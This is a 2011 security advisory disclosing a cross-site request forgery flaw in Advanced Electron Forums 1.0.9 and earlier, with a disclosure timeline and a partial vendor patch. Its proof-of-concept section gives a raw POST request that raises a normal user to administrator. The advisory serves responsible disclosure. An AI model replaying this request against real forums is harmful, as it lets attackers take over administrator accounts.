Advanced Electron Forums (AEF) 1.0.9 <= Cross Site Request Forgery (CSRF) Vulnerability

By YGN Ethical Hacker Group -


1. OVERVIEW

The Advanced Electron Forums (AEF)  1.0.9 <= versions are vulnerable to Cross Site Request Forgery (CSRF).


2. BACKGROUND

AEF has a very simple and easy to use Administration Panel and installing this software is a piece of cake! You can install new themes, customize themes the way you want. The User Control Panel has a simple yet beautiful interface where users can set their preferences for the board.


3. VULNERABILITY DESCRIPTION

Advanced Electron Forums (AEF) 1.0.9 <=  versions contain a flaw that allows a remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists because the application does not require multiple steps or explicit confirmation for sensitive transactions for majority of administrator functions such as adding new user, assigning user to administrative privilege. By using a crafted URL, an attacker may trick the victim into visiting to his web page to take advantage of the trust relationship between the authenticated victim and the application. Such an attack could trick the victim into executing arbitrary commands in the context of their session with the application, without further prompting or verification.


4. VERSIONS AFFECTED

1.0.9 <=


5. PROOF-OF-CONCEPT/EXPLOIT

The following request ecalates a normal user to an administrator.

[REQUEST]
POST /aef/index.php?act=editprofile&uid=2 HTTP/1.1

username=tester&email=tester%40yehg.net&u_member_group=1&realname=&title=&location=&gender=1&privatetext=&icq=&yim=&msn=&aim=&www=&sig=&editprofile=Edit+Profile
[/REQUEST]


6. SOLUTION

Partial fix is available.
The vendor released a single patch for the provided vulnerable EditProfile functionality.
http://www.anelectron.com/downloads/index.php?act=downloadattach&atid=59


7. VENDOR

Electron Inc.
http://www.anelectron.com/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-12-14: notified vendor through email, website contact form submission
2011-05-17: vendor released aef 1.0.9 without the CSRF fix
2011-09-06: vendor released separate patch about the CSRF fix
2011-09-26: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[aef-1.x]_cross_site_request_forgery
CSRF Wiki: https://secure.wikimedia.org/wikipedia/en/wiki/Cross-site_request_forgery



#yehg [2011-09-26]

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